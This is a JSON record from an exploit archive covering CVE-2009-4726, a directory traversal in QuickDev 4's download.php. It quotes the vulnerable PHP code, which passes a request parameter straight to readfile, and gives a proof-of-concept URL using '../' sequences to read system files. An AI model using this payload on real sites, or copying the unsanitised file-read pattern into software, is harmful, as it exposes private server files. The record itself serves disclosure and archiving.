{"exploit":{"id":"EDB-9334","name":"QuickDev 4 - 'download.php' File Disclosure","description":"QuickDev 4 - 'download.php' File Disclosure","cves":["CVE-2009-4726"],"author":"SirGod","published":"2009-08-03","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/9334","path":"exploits/php/webapps/9334.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-9334.txt","vulnerabilities":[{"id":"CVE-2009-4726","state":"PUBLISHED","title":null,"titleSource":null,"description":"Directory traversal vulnerability in download.php in Quickdev 4 PHP allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-4726","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:P/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-4726"},"updatedAt":"2024-08-07T07:17:25.058Z","retrievedAt":"2026-11-26T22:06:50.119Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-9334.png?v=2","url":"https://exploitbin.com/exploits/EDB-9334","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-9334/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-9334/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#####################################################################################\n[+] QuickDev 4 Php (download.php file) Arbitrary File Download\n[+] Discovered By SirGod\n[+] http://insecurity-ro.org\n[+] http://h4cky0u.org\n#####################################################################################\n\n[+] Download : http://sourceforge.net/projects/quickdev4php/files/\n\n[+] Arbitrary File Download\n\n - Vulnerable code in download.php\n\n--------------------------------------------------------------------------\n\n$file = $_SERVER[\"DOCUMENT_ROOT\"]. $_REQUEST['file'];\nheader(\"Pragma: public\");\nheader(\"Expires: 0\");\nheader(\"Cache-Control: must-revalidate, post-check=0, pre-check=0\");\n\nheader(\"Content-Type: application/force-download\");\nheader( \"Content-Disposition: attachment; filename=\".basename($file));\n\n//header( \"Content-Description: File Transfer\");\n@readfile($file);\ndie();\n\n--------------------------------------------------------------------------\n\n - PoC\n\n   http://127.0.0.1/download.php?file=../../../../../../boot.ini\n\n#####################################################################################\n\n# milw0rm.com [2009-08-03]","sha256":"429482e2dfc694855eeca9edbc380e412fcb6121aaae44b7b9097d1d3f787953","bytes":1156,"fetchedAt":"2026-11-26T22:06:45.345Z","encoding":"utf-8 (display only; download retains original bytes)"}